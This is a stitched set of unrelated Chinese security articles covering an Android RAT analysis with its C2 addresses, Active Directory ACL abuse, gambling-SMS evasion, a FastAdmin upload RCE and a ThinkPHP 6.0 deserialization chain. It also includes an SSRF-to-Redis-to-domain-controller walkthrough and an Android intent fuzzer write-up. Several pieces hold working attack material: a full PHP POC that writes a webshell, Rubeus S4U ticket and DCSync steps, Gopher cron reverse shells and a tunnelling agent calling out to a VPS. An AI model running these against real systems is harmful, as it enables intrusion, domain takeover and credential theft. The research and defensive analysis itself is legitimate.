supdat | 安装并运行指定的apk
runf | 启动指定的应用
listf | 向服务器回传文件数据
procl | 向服务器回传运行程序列表信息
endpo | 关闭指定应用的进程
calsre | 设置电话记录的配置信息
recpth | 上传_HAATNECS_
calstp | 设置电话记录的配置为false
stsre | 开启录音
stpre | 停止录音
conta | 获取联系人信息
clogs | 上传电话记录
vibr\vibrate | 设置手机震动参数
stoast | 显示指定的通知信息
gcall | 拨打指定号码
sesms | 向指定号码发送短信
lntwok | 上传本地网络信息
lgps | 开启GPS并进行上传
clping | 上传ping
smslg | 上传短信信息
delth | 删除_HAETALOG_
smsmon | 注册屏蔽短信服务
smsmons | 注销屏蔽短信服务
camoni | 注册电话状态监听服务
camonis | 注销电话状态监听服务
### 详细代码分析
1、“黑加白”实现隐藏自身
恶意样本运行后会直接从raw目录下释放myapps并保存为myapps.apk,同时会运行此正常的apk应用。
当运行了真实的正常apk后，则会隐藏恶意程序自身图标，在后台进行远控操作，这样呈现给用户的效果是安装了一个正常的应用程序
2、通过实时更新配置文件，来灵活切换远控服务器
连接远程服务器后，则可通过网络发送指令数据包进行远程控制操作。
远程服务器的IP端口信息:
服务器：173.249.50.34 和 shareboxs.net
端口：12182
通过配置信息来决定是否连接ip或者域名：
3、网络远控指令
指令msurc：设置音频源的值
指令udlt: 更新配置信息并关闭远程连接
指令setscrn：开启截屏
指令nofid：结束前台服务时删除通知
指令uclntn：设置用户ID并更新设置
指令setnoti: 开启通知服务
指令setgpse:开启GPS
指令info：获取设备基本信息及配置信息
指令dirs和指令fldr: 获取SD卡根目录信息
指令fles: 获取指定目录下文件信息
指令ffldr：获取指定目录下的文件及目录信息
指令filsz: 获取文件信息
指令notifi: 获取_HAENTIFI信息
指令file和afile：获取文件数据
指令thumb:获取图片
指令cnls: 设置isCancl的值
指令delnotif: 删除_HAENTIFI
指令unsnotif: 注销通知服务
指令setnotif: 注册通知服务
指令delt：删除文件
指令dowf：下载指定文件
指令capbcam：后置摄像头拍照并保存
指令capfcam：后置摄像头拍照并保存
指令capscrn：开启截屏
指令capscrn：开启连续截屏
指令scresize:设置屏幕大小
指令scrtops:发送广播
指令supdat:安装并运行指定的apk
指令runf: 启动指定的应用
指令listf: 向服务器回传文件数据
指令procl: 向服务器回传运行程序列表信息
指令endpo: 关闭指定应用的进程
指令calsre: 设置电话记录的配置信息
指令recpth: 上传_HAATNECS_
指令calstp: 设置电话记录的配置为false
指令stsre：开启录音
指令stpre：停止录音
指令conta：获取联系人信息
指令clogs:上传电话记录
指令vibr\vibrate:设置手机震动参数
指令stoast：显示指定的通知信息
指令gcall：拨打指定号码
指令sesms：向指定号码发送短信
指令lntwok：上传本地网络信息
指令lgps:开启GPS并进行上传
指令clping:上传ping
指令smslg:上传短信信息
指令delth:删除_HAETALOG_
指令smsmon:注册屏蔽短信服务
指令smsmons:注销屏蔽短信服务
指令camoni:注册电话状态监听服务
指令camonis:注销电话状态监听服务
## 同源分析
通过关联样本发现了使用同一框架的恶意程序，其核心功能代码大同小异（或减少功能），其主要的核心架构就是通过从res\raw\目录下释放myapps/myappes/myapp.apk(正常应用)然后安装运行，同时伪装恶意程序以隐藏图标的方式在后台一直运行监控获取用户信息。
其利用框架为：
## 总结
印巴冲突无疑是近年来比较火热的话题之一，本文中疑似针对巴基斯坦的apk样本监控分析，无疑是印巴交锋中的网络战争，谁能先获取对方的最新动向则能及时作出相对应的策略。如果网络战争失利了，无疑于失去先机。
奇安信病毒响应中心将持续对最新的恶意安卓APK攻击活动进行及时分析与更新，目前奇安信全系产品均可对此攻击活动进行报警。
## IOC
文件Hash：
29e94bc62cbfa221a051e07e23588016
aefaf256916cb229c42ffeb1bca18c39
3588b1efda1863a3a10e8230005d877d
f68617671f1a830648b93350e670f698
1095580e4bece45ce5aaefca6125e6e4
C2地址：
173.249.50.34:12182
shareboxs.net:12182 | 社区文章 |
> ### Author: Muxue
## 0x01 ACL简介
也就是 **访问控制列表**
`ACL`主要有俩种类型
1. 权限访问控制 -> `DACL`(自由访问控制列表)
2. 日志记录功能 -> `SACL`(系统访问控制列表)
1. 权限就是`DACL`，`DACL`的功能主要就是权限访问控制。
2. 审核那里就是`SACL`，主要功能就是记录访问成功否。
这里每一条规则就是`ACE`(访问控制条目)，是由`SDDL`(安全描述符定义语言) 书写定义的。
简介这里就不写太多了
## 0X02 攻击者感兴趣的对象权限
主要是管理员配置不当，而有可能会引起这些操作。
* **GenericAll** ：完全对象控制，可以将其添加到组中、更改用户密码、向对象用户注册`SPN`等功能
* **Self(Self-Membership)** ：自成员，这个是能够将自己添加到组的另一项特权
* **GenericWrite** ：能够更新任何不受保护的目标对象参数值，可以设置设置`msDS-AllowedToActOnBehalfOfOtherIdentity`来打基于资源的约束委派等
* **AllExtendedRights** ：能够对对象执行AD的拓展相关操作，例如，强制更改目标用户的密码(`ForceChangePassword`)。
* **WriteProperty** ：完全写入权限，我们可以将用户写入到这个组。
* **WriteOwner** ：将对象所有者更改为攻击者控制的用户从而接管对象。
* **WriteDACL** ：将新`ACE`写入目标对象的`DACL`的能力。例如，攻击者可能会向目标对象`DACL`写入新的`ACE`，从而控制目标。
### GenericAll on User
**完全对象控制，所以我们可以将其添加到组中、更改用户密码、向对象用户注册`SPN`等功能**
使用iis和user1用户做测试
iis: S-1-5-21-511003792-1237030605-620821399-1106
user1: S-1-5-21-511003792-1237030605-620821399-1604
使用`PowerView.ps1`查找谁对`user1`用户有`GenericAll`权限
Get-ObjectAcl -SamAccountName user1 -ResolveGUIDs | ?{$_.ActiveDirectoryRights -eq "GenericAll"}
我们注意查看`SecurityIdentifier`里的值，然后通过ldap查找，得知"Domain Admins"和"Enterprise
Admins"组对他有`GenericAll`权限
我们添加一条`ACE`
然后再查询，发现多了一条。
然后接着查询是哪一条用户
我们就使用iis来操作更改密码 看看能不能更改成功
利用成功
### GenericAll on Group
**和上边利用操作差不多 只不过是添加组的了**
使用`powerview`来查找对域管组有`GenericAll`权限的用户
Get-ObjectAcl -ResolveGUIDs| ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=muxue,DC=com"}
然后我们测试将一个用户，加到域管组里
### Self(Self-Membership)
**自成员，这个是能够将自己添加到组的另一项特权**
`添加/删除自身作为成员`
然后使用`powerview`来查找具有`WriteProperty`特权的账号
Get-ObjectAcl -SamAccountName "CN=Domain Admins,CN=Users,DC=muxue,DC=com" -ResolveGUIDs | out-file C:\Users\iis\Desktop\1.txt
然后再次尝试加入域管组
net group "domain admins" user1 /add /domain
### GenericWrite
**也就是通用写入** ， **这个权限能够更新任何不受保护的目标对象参数值，所以我们可以设置`msDS-AllowedToActOnBehalfOfOtherIdentity`来打基于资源的约束委派等**
有`*GenericAll/GenericWrite/WriteDacl/WriteProperty/`一种权限就可以实现约束委派，由于都是设置属性值，这里我就直接用加域用户(`有写入权限`)来测试了
addUser qwer123!
查看谁对他有写入权限
Get-ObjectAcl -SamAccountName win7 -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*write*"}
尝试和`win7`建立ipc链接，可以建立 但没有权限
我们需要添加一个机器用户，因为需要用机器用户去申请票据，本身的win7机器账户我们不知道他的密码所以无法申请票据，所以我们需要添加一个机器用户，用来帮助我们申请票据
检查`msds-allowedtoactonbehalfofotheridentity`的值
Get-NetComputer win7 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity
然后增加机器用户
成功使用`addUser`用户创建evilpc
因为是addUser用户把win7加入到域中，所以拥有写权限 创造了一个属性是`msDS-AllowedToActOnBehalfOfOtherIdentity`值为`evilpc`的`object-id`
然后我们就可以去生成票据了，正好今天`rebeus 2.0`出来了，刚编译好 就用它来生成票据了
Rubeus.exe hash /user:evilpc /password:123456 /domain:muxue.com // 获取hash
Rubeus.exe s4u /user:evilpc /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:administrator /msdsspn:cifs/win7.muxue.com /ptt // 申请票据并导入
当然也可以用`impacket`的`getST`来获取票据，然后利用`mimikatz`来`Pass The Ticket`
### AllExtendedRights
我以`ForceChangePassword`拓展权限举例，可以在不知道当前目标用户的密码的情况下更改目标用户的密码
寻找`ForceChangePassword`拓展权限
> 注意是重置密码，更改密码不得行。
Get-ObjectAcl -SamAccountName user1 -ResolveGUIDs | Out-File C:\Users\iis\Desktop\1.txt
然后尝试更改密码
> 后面这条不成功的，是我取消了权限然后尝试的。
### WriteProperty
`WriteProperty`顾名思义：写所有权，这个权限也可以将我们加入到一个组里
可以使用`powerview`也可以使用`adfind`
AdFind.exe -b "CN=Domain Admins,CN=Users,DC=muxue,DC=com," ntsecuritydescriptor -sddlfilter ;;;;;iis -sddl+++ -recmute -sdna -s basea -s base
Get-ObjectAcl -SamAccountName "domain admins" -ResolveGUIDs
> powerview的结果
### WriteOwner
`WriteOwner`权限修改对象的安全描述符的所有者部分。
查看写owner的权限
Get-ObjectAcl -SamAccountName "domain admins" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*write*"}
然后进行利用，首先要查找组的SID
AdFind.exe -b "CN=Domain Admins,CN=Users,DC=muxue,DC=com" // 当然也可以加过滤条件 我太懒了 就没加
然后修改所有者
Set-DomainObjectOwner -Identity S-1-5-21-511003792-1237030605-620821399-512 -OwnerIdentity "iis" -Verbose
可以看到 所有者已经不是`administrator`了
### WriteDACL
对应的是修改权限
首先查询谁有权限，这次我是直接根据我们的SID查询的
get-domainobjectacl acltest -ResolveGUIDs | ?{$_.SecurityIdentifier -eq 'S-1-5-21-511003792-1237030605-620821399-1106'}
Get-ObjectAcl -SamAccountName "acltest" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights-like "*dacl*"}
> 可以看见现在有WriteDacl权限
然后接着使用`PowerView` 为`iis`on添加`GenericAll`权限
Add-DomainObjectAcl -TargetIdentity acltest -PrincipalIdentity iis -Rights All -Verbose
可以看见，我们已经成功提到了`GenericAll`权限
### Dcsync
经常耍`mimikatz`的兄弟 应该很熟悉这个东西
* **DS-Replication-Get-Changes**
* GUID： 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
* **DS-Replication-Get-Changes-All**
* GUID： 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
* **DS-Replication-Get-Changes-In-Filtered-Set** (这个不是必要的)
* GUID： 89e95b76-444d-4c62-991a-0facbeda640c
然后利用`mimikatz`的`dscync`功能
成功dump出hash
## 0X03 小结
我这里原理写的比较少，大家要是想了解具体的ACE，SDDL可以去msdn上看。
ACL的攻击方式还可以打组合，如配合`Exchange`，利用中继来`dcsync`，`AdminSDHolder`等等手法来进行攻击。
这里我就不先写了，有机会下次写出来给大家看。 | 社区文章 |
# 360安全专家解析：博彩平台为躲避识别拦截的攻防策略
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
根据360手机卫士发布的《2020年第一季度手机安全状况报告》中显示，仅2020年1月份，诈骗短信平均每日拦截量约为270万条，若按照每人1条短信计算，相当于每日有270万人遭受诈骗短信的“轰炸”。
随着通信行业的发展，手机短信已成为生活中必不可缺的沟通工具。黑灰产也紧盯短信这块“蛋糕”，为躲避短信的识别和拦截还不断升级了短信攻防策略。360手机卫士通过对诈骗短信的内容监测发现，有类短信十分值得关注，
**仿冒正常短信内容传播赌博信息，或成为短信诈骗的新趋势。**
## 此类诈骗短信是如何做攻防策略呢？
## 来自360安全专家的深度解析
**策略一：短信内容伪装**
以上短信，看似“快递”“面试”的正常短信，但其实仔细观察内容结构还是可以发现其中“端倪”，短信中的网址实为博彩推广的网址。
**策略二：短信网址只是触达用户的手段，终极目标是引流至社交软件**
访问短信中的网址后， **不会像常见的博彩网站那样，直接显示博彩页面**
，而是页面嵌套了第三方在线客服，由客服一步步引导用户使用其他社交软件深度交流，引导用户去第三方分发平台下载指定的社交应用。
如图所示，首先会告知用户赚钱项目为博彩刷单，需要刷手，引导用户下载指定的应用进一步沟通。
**诈骗短信特征：**
通过对短信中网址的溯源分析发现， **网站未备案，且网站内容含项目介绍（博彩），非快递信息页面。**
访问短信内的链接，会跳转至正规招聘机构的面试邀约页面。对于博彩行业并不是十分了解的用户，很容易轻信面试邀约内容，从而添加页面提及的所谓“面试官”微信。
但通过对博彩诈骗的长期跟踪和研究，我们知道“飛挺稳定实力带囬皿”是博彩行业的“黑话”，意思为对方可以带你一起玩博彩项目、稳赚钱。
**诈骗短信特征：**
1.短信内容、候选人信息皆为博彩行业“黑话”。
2.候选人姓名与真实参与面试人员姓名并不相同，只是冒用正规渠道散播赌博信息。
## 安全课堂
n目前，仿冒安全性高、不易被识别的“快递”“面试”类短信，目的就是黑灰产企图躲避安全厂商的拦截策略，或成为短信诈骗的新趋势。随着黑灰产攻防手段不断升级，但其实由于其模仿性会存在一些识别特征。
n部分冒充快递短信内的网址，有些没有进行网站攻防处理，访问短链或网址后，会直接跳转至第三方在线客服的网站，由网站内的客服介绍博彩项目，引导用户进一步操作，个人用户要小心提防，不要轻易点击短信内的陌生链接。 | 社区文章 |
### 漏洞通告
FastAdmin是一款基于ThinkPHP和Bootstrap的极速后台开发框架。
2021年3月28日，360漏洞云漏洞研究员发现，FastAdmin框架存在有条件RCE漏洞，当攻击者具有一定用户权限的前提下，可以实现任意文件上传，导致RCE。`--360漏洞云`
漏洞危害范围：< V1.2.0.20210401_beta
### 漏洞分析
由于FastAdmin的前台文件上传功能中提供了分片传输功能, 但在合并分片文件时因对文件路径的拼接处理不当导致可上传任意文件。
限制条件：
* 具有上传权限的账户
* 开启分片传输功能（默认关闭）
漏洞文件位于： **application/api/controller/Common.php**
在上传文件时如果POST传递 `chunkid`参数即可进行分片文件传输, 其会调用 `Upload#chunk`方法, 参数均可控。
一起梳理一下`chunk`方法, 代码不多, 一行一行作解释。首先判断 `Content-Type`不为 `application/obtet-stream`则抛出 `UploadException`异常。接着会拼接分片文件存储路径为 `runtime/chunks`。文件名为 `$chunkid`
\+ `-` \+ `$chunkindex` \+ `.part`。即当我们传递 `$chunkid`为 `hhh.php`,
`$chunkindex`为0, 则拼接出的分片文件名为 `hhh.php-0.part`
上传测试：
分片文件路径：
回到 `upload`方法, 当 `$action`为 `merge`时会调用 `Upload#merge`方法合并分片文件, 首先其将分片文件路径和
`$chunkid`拼接, 然后合并所有分片文件。
调用 `merge`方法合并分片文件：
漏洞利用脚本：[FastAdmin_Upload](https://github.com/exp1orer/FastAdmin_Upload)
### 修复方法
1. 关闭分片传输功能
2. 对 chunkid 做正则判断
### 参考
[FastAdmin最新RCE漏洞复现](https://mp.weixin.qq.com/s?src=11×tamp=1617350437&ver=2983&signature=vuQa8YI3lz9mwVSyy1h4ZqfGTCcL5BObXgdeCApxNkKnsBm3bNJyW-xngUE0SG2uXndiwBi7tTVjurl4D01MH3Ci9jDUT*39lYQy5HYNWoqtu-BopcC5Zz2IKjWZZyna&new=1) | 社区文章 |
# Thinkphp 6.0反序列化链再挖掘
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
之前分析了thinkphp
5.1,5.2,6.0的反序列化pop链，觉得师傅们实在是太厉害了，也没有想着再去自己挖掘，但是最近偶然间看到有师傅发了一条新的tp6.0的利用链出来,我也就寻思着能不能自己挖一挖，于是有了这篇文章
## 分析
先给出利用链及poc:
LeagueFlysystemCachedStorageAbstractCache --> destruct()
LeagueFlysystemCachedStorageAdapter --> save()
LeagueFlysystemAdapterLocal --> write()
poc:
<?php
namespace LeagueFlysystemAdapter{
abstract class AbstractAdapter{
protected $pathPrefix;
function __construct()
{
$this->pathPrefix = '/';
}
}
class Local extends AbstractAdapter{
}
}
namespace LeagueFlysystemCachedStorage{
use LeagueFlysystemAdapterLocal;
abstract class AbstractCache{
protected $autosave = false;
protected $cache = [];
function __construct()
{
$this->autosave = false;
$this->cache = ["axin"=>"<?php phpinfo();?>"];
}
}
class Adapter extends AbstractCache{
protected $adapter;
protected $file;
function __construct()
{
parent::__construct();
$this->adapter = new Local();
$this->file = '/opt/lampp/htdocs/axin.php';
}
}
}
namespace {
use LeagueFlysystemCachedStorageAdapter;
echo urlencode(base64_encode(serialize(new Adapter())));
}
从poc中可以大概看出来我的这条利用链只是能够写入shell,不像其他大师傅们那些利用链可以直接执行命令，所以要弱鸡一点～
这次的利用链还是从常规的`__destruct()`以及`__weakup()`入手，经过全局搜索，最后锁定`LeagueFlysystemCachedStorageAbstractCache`类的`__destruct`方法：
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
为了执行save，我们令`$this->autosave=false`,然后跟进save(),由于AbstractCache是一个抽象类，没有实现save方法，我们需要找到一个实现了save方法的子类（在phpstorm,鼠标右键类名，点击find
usages可以找到类出现的地方，也就可以找到相关子类）：
我这里利用的是Adapter类，其实很多子类都可以形成利用链，但是我感觉和之前师傅们挖的利用链有点撞车了，所以就不说其他的链了。我们看一下Adapter类的save方法：
public function save()
{
echo "save执行!<br>";
$config = new Config();
$contents = $this->getForStorage(); //$contents完全可控
echo '此时$contents的值:'.$contents."<br>";
if ($this->adapter->has($this->file)) {
$this->adapter->update($this->file, $contents, $config);
} else {
$this->adapter->write($this->file, $contents, $config);
}
}
上面的几处echo是我在调试poc时自己添加的，当我看到这里的write的时候我就感觉可能会存在文件写入操作，这里的write（）的参数`file`可控，`$config`不可控，我们看一下`$contents`是否可控，跟进getForStorage():
public function getForStorage()
{
echo "getForStorage执行！<br>";
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete, $this->expire]); //[{"axin":"<?php phpinfo();?>"},[],null]
}
可以看到这里返回的值`$this->complete,$this->expire`都可以控制，我们再看看`$cleaned`，进入cleanContents():
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) { // $contents=["axin"=>'<?php phpinfo();?>']
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents; //$contents=["axin"=>'<?php phpinfo();?>']
}
由于参数我们可以控制，这里直接返回了我们传入的值，也就是getForStorage()函数中返回值我们是可以控制的，只不过进行了json转换，但是不影响我们后续利用，回到save函数，`$this->adapter->write($this->file,
$contents,
$config);`中前两个参数可控，而且`$this->adapter`可控，只要找到一个wirte方法有问题的类，我们就可以收工了，但是还要注意一点，这里要想执行到write()的前提是`$this->adapter->has($this->file)==false`,所以我们需要找的这个类不仅要实现了has与write方法，还要能够控制has方法的返回值为false
最终我定位到了LeagueFlysystemAdapterLocal类，我们看一下它的has方法：
public function has($path) // $path可控
{
$location = $this->applyPathPrefix($path); //完全可控
return file_exists($location);
}
看来只是判断我们传入的路径文件是否存在，不过在调用file_exists()之前，给路径添加了个前缀，applyPathPrefix：
public function applyPathPrefix($path)
{
return $this->getPathPrefix() . ltrim($path, '\/');
}
用什么东西和我们的路径拼接了起来，继续看getPathPrefix() ：
public function getPathPrefix()
{
return $this->pathPrefix;
}
而这里的`$this->pathPrefix`我们是可以控制的，所以回到has函数,只要我们输入的路径文件不存在，has就会返回false,就会执行到write():
public function write($path, $contents, Config $config)
{
echo "进入write函数!<br>";
$location = $this->applyPathPrefix($path);
echo '$location的值为：'.$location."<br>";
$this->ensureDirectory(dirname($location));
if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) {
return false;
}
$type = 'file';
$result = compact('contents', 'type', 'size', 'path');
if ($visibility = $config->get('visibility')) {
$result['visibility'] = $visibility;
$this->setVisibility($path, $visibility);
}
return $result;
}
可以看到这里执行了file_put_contents(),而且参数就是write函数的前两个参数，与`$config`无关，所以之前我们不能控制config也就不影响这里的shell写入。
通过之前的分析我们知道`applyPathPrefix()`的返回值我们是可控的，也就是`$location`可控，然后`$contents`就是之前json_encode()之后的那个值，所以file_put_contents的关键参数都是可控的，但是以防万一，我们还是看看ensureDirectory（）:
protected function ensureDirectory($root)
{
if ( ! is_dir($root)) {
echo "ensureDirectory执行！<br>";
$umask = umask(0);
if ( ! @mkdir($root, $this->permissionMap['dir']['public'], true)) {
$mkdirError = error_get_last();
}
umask($umask);
clearstatcache(false, $root);
if ( ! is_dir($root)) {
$errorMessage = isset($mkdirError['message']) ? $mkdirError['message'] : '';
throw new Exception(sprintf('Impossible to create the root directory "%s". %s', $root, $errorMessage));
}
}
}
可以看到，这个函数并不影响我们的利用链，至此整条利用链结束，这条利用链比较难受的地方就是得知道网站绝对路径。
效果演示：自己构造一个反序列化输入点，发送请求(页面的输出是我自己方便调试打印的)
文件成功写入：
ps:文章写了两遍，第一次快写完的时候电脑卡死了～一直以为安全客的编辑器能够实时保存文章，但是当我重启的时候发现我想多了，希望安全客可以考虑实时保存文章，写作体验更好^^（在做了.jpg） | 社区文章 |
因为最近遇到一次实战，环境较为敏感，就不通过用真实环境来记录了。
我通过模拟环境来记录最终拿下域控的全过程，网络环境如下：
1. 通过Vulstack的靶场模拟内网环境
2. 同 **DMZ** 网段，一台`Linux`做`Redis`和公网`WEB`服务机器,不在域内
3. 存在`内网WEB服务`，并且`内网WEB服务`在域内
## 0x01 外网突破：
1. 在进行打点测试时，发现Web应用存在 **SSRF** 漏洞(通过`Demo`模拟)，探测后发现协议没有限制，先探测一下本机的端口：
2. 发现6379端口开启，猜测为`Redis`，通过`dict`操作发现，存在未授权访问漏洞,版本为`5.0.9`：
3. 可以通过 **Gopher协议写计划任务** 实现反弹shell，反弹shell到公网，通过一个小工具，生成Gopher数据：
* 收到Shell，是一个哑Shell，目标机器存在Python环境，我们通过Python弹一个完整Shell
# 执行命令：
python -c 'import pty; pty.spawn("/bin/bash")'
* 得到Shell：
## 0x02 内网隧道建立：
1. 先看一下网络结构，192.168.135.0，通过`Venom`将目标内网流量代理出去：
* 将`agent`下载到目标机，将流量转发出去：
# 目标机执行：
./agent_linux_x64 -rhost vps-ip -rport 9999
* 进入节点，启动代理：
* 本机配置好全局代理，探测网段`192.168.135.0/24`，端口扫描结果如下，重点关注`192.168.135.150`
* 访问一下，ThinkPHP框架，存在`RCE`
## 0x03 横向渗透
1. 通过`RCE`,发现是台`Windows主机`，出外网,先排查下目标机器有没有`AV`或者杀毒，排查后没有杀毒
1. 直接CS生成`Payload`,远程下载执行，上线成功：
1. 等主机上线后我们就可以把代理关闭了，以后在启动代理通过`CS`启动就可以，给Linux主机种一个`SSH`后门，隐藏一个文件，作为启动文件，开始进行横向渗透：
- 通过`MS14-058`提权，获得管理员权限：
* 抓密码和hash,维持好权限:
* 收集一下网段信息，以及域内机器，真实环境中，还有各类域内服务，
* Ping一下，得到域控IP： **192.168.138.138** ，`Arp-a`查看所有ARP缓存表中的所有信息：
* 结构很明确了，下一步直接拿域控，因为密码已经抓到了`明文`直接伪造Token，来上线域控
* 在Web服务器上起一个`中转监听`，以后域内机器都通过`Web`来进行中转，查看域内机器，远程上线域控：
* 直接上线，因为`Web`服务器的防火墙时开启的，我们暴力一点直接远程关闭防火墙，然后上线域控：
* 最终结果：
后续清理各类日志，维持权限
权限持好后，就可以进行信息收集以及密码查找！
## 0x04 总结
1. 相对基础的的一次渗透过程，真实环境中，也是外网进去，拿到了域内`Web`服务器，真实环境就不放了..主要工具免杀以及权限维持都会花费大量时间
2. SSRF-->Redis-->DC 全过程的起点都是小小的一个SSRF，可见危害是及其严重的
## 0x05 所用到的工具：
<https://github.com/Dliv3/Venom>
**Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具**
<https://github.com/LS95/gopher-redis-auth>
**gopher-redis-auth** 生成工具 | 社区文章 |
# Android漏洞挖掘之Fuzz初探
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文是关于android漏洞挖掘的fuzz初探，主要工具是IntentFuzzer，对其进行详细的分析。
## android设备的攻击面
* 远程攻击面
* 网络协议
* 暴露的网络服务
* 移动技术
* 客户端
* 浏览器
* web引擎
* 物理邻接攻击面
* GPS
* 基带
* 蓝牙
* wifi
* nfc
* 本地攻击面
* 文件系统
* sockets
* binder
* 系统安全方面的攻击方式都可以考虑
* 物理攻击面
* usb
* adb等
## android设备上的模糊测试
相对于整个信息安全社区，模糊测试在Android生态圈中并没有受到太多关注，尽管有人公开表示对模糊测试Android系统，但很少有人公开谈论他们具体做了哪些相关的工作，为数不多的公开演讲也仅仅关注单一且有限的攻击面。且直接针对android的高效模糊测试框架尚未建立。整体来讲，android设备上的大量攻击面还未被深入挖掘。
对目标应用做一次成功的模糊测试，大致需要一下4步：
1. 选定目标
2. 生成输入
3. 传递测试用例
4. 监控崩溃
这四步基本上是模糊测试的一个通用思路，其中涉及到的常见方法网络上有大量的文献可查，这里就不再累述。
## android fuzz的难点
android系统上的模糊测试和其他linux系统上的十分相似，利用unix工具如ptrace，管道，信号以及其他POSIX工具，对于开发出带有集成调试器的高级模糊测试工具时有利的，但很多其他因素又限制了Android上的模糊测试，如非linux组件带来的复杂性，软硬件的看门狗可能会使设备重启，Android系统中程序的依赖性可能会导致系统锁定或者程序故障，同时android设备还面临这一个问题：性能，不论是arm架构的物理设备还是sdk中的仿真器，其较低的性能依然会影响测试效率，除此之外通信速度也会带来问题，总而言之，android系统上有效的模糊测试相较于linux系统上的要难以实现的多，下文具体涉及到的难点再依次展开讲解。
## 选定目标
1. android Intent
2. android RIL无线接口层
**测试目标选择理由**
：由于android的攻击面很广，其牵扯到的知识点又繁杂，涉及kernel的模糊测试需要对linux等底层系统足够了解，而对物理接口等设备的模糊测试又或多或少会牵扯到硬件的一些基本知识，本文只是对android的一些攻击面做一个探索，所以暂不选定较为复杂的测试对象。
选择android
Intent的理由：Intent相对与android设备来说，是属于较高层次的ipc机制。在写android程序的时候，可以直接设置intent的相关操作和相应参数，且通过intent构造畸形数据去攻击android设备也是黑客常用的手段之一。
## 目标一：android Intent
IntentFuzzer工具简介：这个工具是针对Intent的Fuzzer。它通该工具能够针对一个简单组件或者是所有安装组件进行fuzz测试。它也适用于BroadcastReceiver，但针对Service只有较少的覆盖，Service通常更加广泛地应用Binder接口而不是针对IPC的Intent。原版的工具只能针对一个Activity进行fuzz测试，一次不能针对所有的Activity进行测试。MindMac在此基础上进行了一些修改，使其能够针对一个应用的一个简单组件或者是所有组件进行fuzz测试，同时具有区分系统应用和非系统应用的能力。MindMac修改后的版本仅针对Activity、BroadcastReceiver、Service。
但是代码本身却并不复杂，下面简单的介绍下：
整个fuzzer的核心代码如下：
其原理是列举出系统上所有公开的、能够从应用获取到的Activity、BroadcastReceiver、Service、Instrumentation、ContentProvider。工具将通过Intent尝试启动所有可以获取到的组件，从而触发某些难以发掘的漏洞。触发一般有两类漏洞，一类是拒绝服务，一类的权限提升。拒绝服务危害性比较低，更多的只是影响应用服务质量；而权限提升将使得没有该权限的应用可以通过Intent触发拥有该权限的应用，从而帮助其完成越权行为。如果该工具能够轻易从外部启动特定应用的内部组件，尤其是有较高权限的组件时，很可能在此处发现漏洞。
下面来细致的分析原有代码以理解整个项目的框架，以便后续对其扩展和改进：
为了方便起见，我们先对util包中的Appinfo.java, Componentinfo.java, SerizlizableTest.java,
Untils.java四个文件进行基本的分析
* Appinfo.java
* Componentinfo.java
* SerizlizableTest.java
可以看到这三份代码分别实现了APPinfo类，Componentinfo类，和继承了Serializable接口的SerizlizableTest类，代表的含义又分别是每个app的信息，组件的信息和序列化测试
* Untils.java
Untils类中有如上图的两个主要方法和一些区分组件类型的标识符，其中getPackageInfo函数的逻辑是调用了content自带的函数去获取已安装的package信息，然后再根据是否是系统app，非系统app和其他，调用fillAppInfo将其信息装入Appinfo类型的数组中
* MainActivity.java
主体逻辑很简单，就是根据不同选择去获取相应app的信息或者选项3输出dialog信息
所以在startActivity后我们顺着程序的思路就应该转到AppInfoActivity.java了
* AppInfoActivity.java
可以看到AppInfoActivity的逻辑先是检测是否是属于app，并另起线程pkgInfoRunnable获取所有app的信息，并设置好相应的Adapter，准备完成之后，发送消息使相应的控件展示出信息，代码最后又是对点击进行监控，然后通过intent转到FuzzerActivity.java。（这里就不再累述AppinfoAdapter类了，就是一个普通的“展示”类）
* FuzzerActivity.java
其实FuzzerActivity的逻辑也很清晰，首先是获取当前所有的组件类型，然后再调用initView和initTypeSpinner。
initView的逻辑是针对cmpListView组件中的单个条目，短按发送NULL intent，长按发送Serializeable
Intent；针对两个按键fuzzAllNullBtn和fuzzAllSeBtn，分别对应发送NULL intent和Serializeable
Intent，
而具体的发送方式，可见也就是调用了系统函数而已。
initTypeSpinner是负责初始化Spinner组件的列表的，也就是组件选择列表
至此，基本已将代码主题逻辑分析完毕，具体细节请读者直接阅读源码。可以看到，作者只是大致写了个框架，代码并不复杂。但正当我决定继续深入探究时我发现了IntentFuzzer的论文原作，收录在ASIA
CCS论文集中，其引用数也有64，不幸的是这篇论文是收费的。。。。于是我决定适当地对其进行扩展，毕竟我觉得这个工具仍然具有很大的扩展空间，作者还是保持了它的简洁性。
**可以扩展的点**
1. 发送的intent所包含的数据
2. 发送的方式（Serizlizable或者其他）
3. 效率，并行，自动化
4. 处理错误机制
5. 搜集组件的方式
除了这些，扩展点可以从官方文档等地方去寻找，如下面几张从官方文档上截取下来的图：
可以看出，一些文档中提醒开发者注意避免的点往往是模糊测试可以考虑去深入的地方
**扩展举例** ：
由于时间比较有限，我暂时是对第一项进行了扩展，即对发送的intent变量进行填充，但是因为一开始没有严密考虑intent携带数据之间的联系，以及针对不同app，具有不同的intent接受属性（包括是否是隐式intent等），致使出现了多次intent
send
failed的状态。这一点可能需要构造更加合理的数据，甚至使用以往的poc以及exploits（据初步调研已经有不少公布了关于intent的poc），后续完善并注意实现扩展点后会将代码放到我的github上,
这里只放出我第一部分的主要代码逻辑，其实也很容易理解，就是增加intent包含的数据。
**实验截图** ：
IntentFuzzer主界面
